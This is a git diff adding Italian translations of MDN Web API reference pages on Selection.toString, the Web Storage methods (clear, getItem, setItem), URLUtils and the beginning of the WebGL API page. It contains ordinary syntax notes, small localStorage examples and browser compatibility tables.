--- /dev/null
+++ b/files/it/web/api/selection/tostring/index.html
@@ -0,0 +1,27 @@
+---
+title: toString
+slug: Web/API/Selection/toString
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Selection/toString
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce una stringa che rappresenta l'oggetto <code>selection</code>. Generalmente è il testo selezionato.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>stringa</i> =<i>selezione</i>.toString()
+</pre>
+<ul>
+ <li><code>string</code> è una stringa che rappresenta l'oggetto <code>selection</code>.</li>
+</ul>
+<h3 id="Note" name="Note">Note</h3>
+<p>In <a href="it/JavaScript">JavaScript</a>, questo metodo viene chiamato implicitamente quando un oggetto <code>selection</code> viene passato a un metodo o a una funzione che richiede una stringa:</p>
+<pre class="eval">alert(window.getSelection()) // la chiamata scritta da noi
+alert(window.getSelection().toString())  // la chiamata effettiva
+</pre>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/toString", "es": "es/DOM/Selection/toString", "pl": "pl/DOM/Selection/toString" } ) }}</p>
diff --git a/files/it/web/api/storage/clear/index.html b/files/it/web/api/storage/clear/index.html
new file mode 100644
index 0000000000..e99735a34f
--- /dev/null
+++ b/files/it/web/api/storage/clear/index.html
@@ -0,0 +1,126 @@
+---
+title: Storage.clear()
+slug: Web/API/Storage/clear
+tags:
+  - API
+  - Persistenza
+  - Persistenza Browser
+  - Riferimento
+  - metodo
+translation_of: Web/API/Storage/clear
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p><font><font>Il metodo </font></font><code>clear()</code> dell'interfaccia {{domxref("Storage")}} , quando invocato, pulisce tutte le chiavi salvate.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="brush: js"><em>storage</em>.clear();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p><font><font>La seguente funzione crea tre coppie chiave/valore in local storage, infine le elimina invocando il metodo </font></font><code>clear()</code>.</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'miGato.png');
+
+  localStorage.clear();
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Per un esempio reale guarda <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-clear', 'Storage.clear')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser_CompatibilityTable()">Compatibilità browser {{ CompatibilityTable() }}</h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>{{CompatUnknown}}</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Ogni browser riserva una quantità di memoria differente per localStorage e sessionStorage. Qui si trova <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">il dettaglio di tutte le quantità di memoria per i vari browser</a>.</p>
+
+<div class="note">
+<p><strong>Note: </strong>da iOS 5.1, Safari Mobile persiste i dati di localStorage nella cartella cache, che è soggetta a pulizie occasionali, su ordine del sistema operativo, tipicamente in condizioni di poco spazio libero sul dispositivo.</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Utilizzo di Web Storage API</a></p>
diff --git a/files/it/web/api/storage/getitem/index.html b/files/it/web/api/storage/getitem/index.html
new file mode 100644
index 0000000000..701fff9910
--- /dev/null
+++ b/files/it/web/api/storage/getitem/index.html
@@ -0,0 +1,144 @@
+---
+title: Storage.getItem()
+slug: Web/API/Storage/getItem
+tags:
+  - API
+  - Memoria locale
+  - memoria
+  - metodo
+translation_of: Web/API/Storage/getItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Il metodo <code>getItem()</code> dell'interfaccia {{domxref("Storage")}} restituisce il valore contenuto nella chiave passata a parametro.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>aValue</em> = <em>storage</em>.getItem(<em>keyName</em>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><em><code>keyName</code></em></dt>
+ <dd>Una {{domxref("DOMString")}} che contiene il nome della chiave da cui si vuole ottenerne il valore associato.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Una {{domxref("DOMString")}} contenente il valore associato alla chiave. Se la chiave non esiste, <code>null</code> viene restituito.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>La funzione seguente ottiene tre elementi dalla memoria locale, per poi utilizzarli per impostare alcuni stili personalizzati nella pagina.</p>
+
+<pre class="brush: js">function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Per vedere questo esempio usato nel mondo reale, guarda il nostro <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-getitem', 'Storage.getItem')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browsers">Compatibilità browsers</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>{{CompatUnknown}}</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Tutti i browser hanno differenti livelli capacitativi per entrambi localStorage e sessionStorage. Qui puoi trovare una <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">lista dettagliata delle capacità di memoria per browser differenti</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>da iOS 5.1, Safari Mobile immagazzina i dati di localStorage nella cartella cache, che viene svuotata occasionalmente a discrezione dell'OS, solitamente quando lo spazio disponibile scarseggia.</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Storage/setItem">Storage.setItem()</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+</ul>
diff --git a/files/it/web/api/storage/index.html b/files/it/web/api/storage/index.html
new file mode 100644
index 0000000000..ab30b1de21
--- /dev/null
+++ b/files/it/web/api/storage/index.html
@@ -0,0 +1,161 @@
+---
+title: Storage
+slug: Web/API/Storage
+tags:
+  - API
+  - Dati
+  - Interfaccia
+  - Riferimento
+  - Storage
+  - Web Storage
+translation_of: Web/API/Storage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>L'interfaccia <code>Storage</code> dell'API Web Storage fornisce accesso allo storage di sessione o allo storage locale per un dato dominio, permettendo, ad esempio, l'aggiunta, modifica o rimozione di dati salvati.</p>
+
+<p>Se si vuole manipolare lo storage di sessione per un dominio, va invocato il metodo {{domxref("Window.sessionStorage")}}; se si vuole manipolare lo storage locale per un dominio, va invocato {{domxref("Window.localStorage")}}.</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt>
+ <dd>Ritorna un intero che rappresenta il numero di oggetti presenti in un oggetto <code>Storage</code>.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{domxref("Storage.key()")}}</dt>
+ <dd>Dato un numero n,  ritorna il nome dell'n-esima chiave nello storage.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Storage.getItem()")}}</dt>
+ <dd>Dato un nome di chiave, ritorna il corrispondente valore.</dd>
+ <dt>{{domxref("Storage.setItem()")}}</dt>
+ <dd>Dati un nome di chiave e un valore, aggiunge questa chiave allo storage, o aggiorna il valore della chiave se essa esiste già.</dd>
+ <dt>{{domxref("Storage.removeItem()")}}</dt>
+ <dd>Dato un nome di chiave, rimuove quella chiave dallo storage.</dd>
+ <dt>{{domxref("Storage.clear()")}}</dt>
+ <dd>Rimuove tutte le chiavi dallo storage.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Questo è un esempio di accesso all'oggetto <code>Storage</code> tramite chiamata a <code>localStorage</code>. In primo luogo, si verifica se lo storage locale contenga oggetti usando <code>!localStorage.getItem('bgcolor')</code>. Se il test passa, si invoca una funzione <code>setStyles()</code> che recupera gli oggetti tramite {{domxref("localStorage.getItem()")}} e ne usa i valori per aggiornare gli stili della pagina. Se il test fallisce, viene invocata un'altra funzione, <code>populateStorage()</code>, che usa {{domxref("localStorage.setItem()")}} per settare i valori, per poi ritornare <code>setStyles()</code>.</p>
+
+<pre class="brush: js">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Per vedere quest'esempio girare, si veda la <a href="https://github.com/mdn/web-storage-demo">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#the-storage-interface', 'Storage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto minimo</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>3.2[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] A partite da iOS 5.1, Safari Mobile salva i dati del <code>localStorage</code> in una cartella di cache, soggetta occasionalmente a pulizia su richiesta del sistema operativo, tipicamente in mancanza di spazio.</p>
+
+<p>I vari browser hanno diversi livelli di capacità sia per localStorage che per sessionStorage. Qui si trova un <a href="http://dev-test.nemikor.com/web-storage/support-test/">resoconto dettagliato delle capacità di immagazzinamento dei vari browser</a>.</p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Usare la API Web Storage</a></p>
diff --git a/files/it/web/api/storage/setitem/index.html b/files/it/web/api/storage/setitem/index.html
new file mode 100644
index 0000000000..c96e805956
--- /dev/null
+++ b/files/it/web/api/storage/setitem/index.html
@@ -0,0 +1,133 @@
+---
+title: Storage.setItem()
+slug: Web/API/Storage/setItem
+translation_of: Web/API/Storage/setItem
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p>Il metodo <code>setItem()</code>, che fa parte della funzionalità {{domxref("Storage")}} , quando passa il nome di una chiave e un valore, aggiunge questa chiave allo storage, oppure se la chiave esiste già aggiorna il valore della chiave stessa.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>storage</em>.setItem(<em>keyName</em>, <em>keyValue</em>);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><em>keyName</em></dt>
+ <dd>Il {{domxref("DOMString")}} contiene il nome della chiave che si vuole creare o aggiornare.</dd>
+ <dt><em>keyValue</em></dt>
+ <dd>Il {{domxref("DOMString")}} contiene il valore che si vuole dare alla chiave che si sta creando o aggiornando.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<p><code>setItem()</code> potrebbe dar luogo a eccezioni se lo storage è pieno. Ad esempio, in Safari Mobile (da iOS 5) non è possibile salvare dati quando l'utente è in modalità in incognito (questo perché Safari non alloca spazio per l'utente nella modalità in incognito, al contrario degli altri browsers, i quali permettono di usare lo storage nella modalità in incognito, salvando i dati in uno spazio apposito e separato). Quindi <strong>è sempre meglio implementare delle funzioni che gestiscano le eccezioni quando si usa setItem()</strong>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Le seguenti funzioni creano tre oggetti all'interno del local storage:</p>
+
+<pre class="brush: js">function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Se vuoi un esempio veritiero, dai un'occhiata alla pagina <a href="https://mdn.github.io/dom-examples/web-storage/">Web Storage Demo</a>.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#dom-storage-setitem', 'setItem()')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>{{CompatUnknown}}</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Tutti i browser hanno diversi livelli di gestione sia del localStorage che del sessionStorage. <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">Qui trovi ulteriori dettagli.</a></p>
+
+<div class="note">
+<p><strong>Nota: </strong>da iOS 5.1, Safari Mobile memorizza i dati del localStorage nella cartella delle cache, la quale, ogni tanto, viene cancellata (ricorda che questo spazio è solitamente piccolo).</p>
+</div>
+
+<h2 id="Altre_informazioni">Altre informazioni</h2>
+
+<p><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Come usare le Web Storage API</a></p>
diff --git a/files/it/web/api/urlutils/index.html b/files/it/web/api/urlutils/index.html
new file mode 100644
index 0000000000..05cc01aa9b
--- /dev/null
+++ b/files/it/web/api/urlutils/index.html
@@ -0,0 +1,205 @@
+---
+title: URLUtils
+slug: Web/API/URLUtils
+translation_of: Web/API/HTMLHyperlinkElementUtils
+---
+<p>{{ApiRef("URL API")}}{{SeeCompatTable}}</p>
+
+<p>The <strong><code>URLUtils</code></strong> interface defines utility methods to work with URLs.</p>
+
+<p>There are no objects of this type, but several objects implement it, such as {{domxref("Location")}}, {{domxref("URL")}}, {{domxref("HTMLAnchorElement")}}, and {{domxref("HTMLAreaElement")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.href")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the whole URL.</dd>
+ <dt>{{domxref("URLUtils.protocol")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+ <dt>{{domxref("URLUtils.host")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the host, that is the <em>hostname</em>, and then, if the <em>port</em> of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a <code>':'</code>, and the <em>port</em> of the URL.</dd>
+ <dt>{{domxref("URLUtils.hostname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the domain of the URL.</dd>
+ <dt>{{domxref("URLUtils.port")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the port number of the URL.</dd>
+ <dt>{{domxref("URLUtils.pathname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+ <dt>{{domxref("URLUtils.search")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd>
+ <dt>{{domxref("URLUtils.hash")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
+ <dt>{{domxref("URLUtils.username")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the username specified before the domain name.</dd>
+ <dt>{{domxref("URLUtils.password")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the password specified before the domain name.</dd>
+ <dt>{{domxref("URLUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the origin of the URL, that is its scheme, its domain and its port.</dd>
+ <dt>{{domxref("URLUtils.searchParams")}}</dt>
+ <dd>Returns a {{domxref("URLSearchParams")}} object allowing to access the GET query arguments contained in the URL.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface doesn't inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#urlutils', 'URLUtils')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+  <tr>
+   <td>searchParams</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code> and <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin </code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> on <code>Windows.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("21")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+  <tr>
+   <td>searchParams</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code> and <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin </code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> on <code>Windows.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("21")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Though not grouped in a single abstract interface, these methods are directly available on the interfaces that implement it, if this interface is supported.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other URL-related interfaces: {{domxref("URL")}}, {{domxref("URLUtils")}}, and {{domxref("URLSearchParams")}}.</li>
+ <li>Interfaces implementing this one: {{domxref("Location")}}, {{domxref("HTMLAnchorElement")}}, {{domxref("HTMLAreaElement")}}.</li>
+</ul>
+
+<dl><br>
+ <br>
+ <br>
+
+ <dd> </dd>
+</dl>
diff --git a/files/it/web/api/webgl_api/index.html b/files/it/web/api/webgl_api/index.html
new file mode 100644
index 0000000000..c085be1e41
--- /dev/null
+++ b/files/it/web/api/webgl_api/index.html
@@ -0,0 +1,254 @@
+---
+title: 'WebGL: Grafica 2D e 3D per il web'
+slug: Web/API/WebGL_API
+translation_of: Web/API/WebGL_API
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p><span class="seoSummary">WebGL (Web Graphics Library) is a JavaScript API for rendering high-performance interactive 3D and 2D graphics within any compatible web browser without the use of plug-ins. WebGL does so by introducing an API that closely conforms to OpenGL ES 2.0 that can be used in HTML5 {{HTMLElement("canvas")}} elements.</span> This conformance makes it possible for the API to take advantage of hardware graphics acceleration provided by the user's device.</p>
+</div>
+
+<p>Support for WebGL is present in <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="https://www.google.com/chrome/">Google Chrome</a> 9+, <a href="https://www.opera.com/">Opera</a> 12+, <a href="https://www.apple.com/safari/">Safari </a>5.1+, <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie">Internet Explorer</a> 11+, and <a href="https://www.microsoft.com/en-us/edge">Microsoft Edge</a> build 10240+; however, the user's device must also have hardware that supports these features.</p>
+
+<p>The {{anch("WebGL 2")}} API introduces support for much of the OpenGL ES 3.0 feature set; it's provided through the {{domxref("WebGL2RenderingContext")}} interface.</p>
+
+<p>The {{HTMLElement("canvas")}} element is also used by the <a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a> to do 2D graphics on web pages.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Standard_interfaces">Standard interfaces</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("WebGLRenderingContext")}}</li>
+ <li>{{domxref("WebGL2RenderingContext")}}</li>
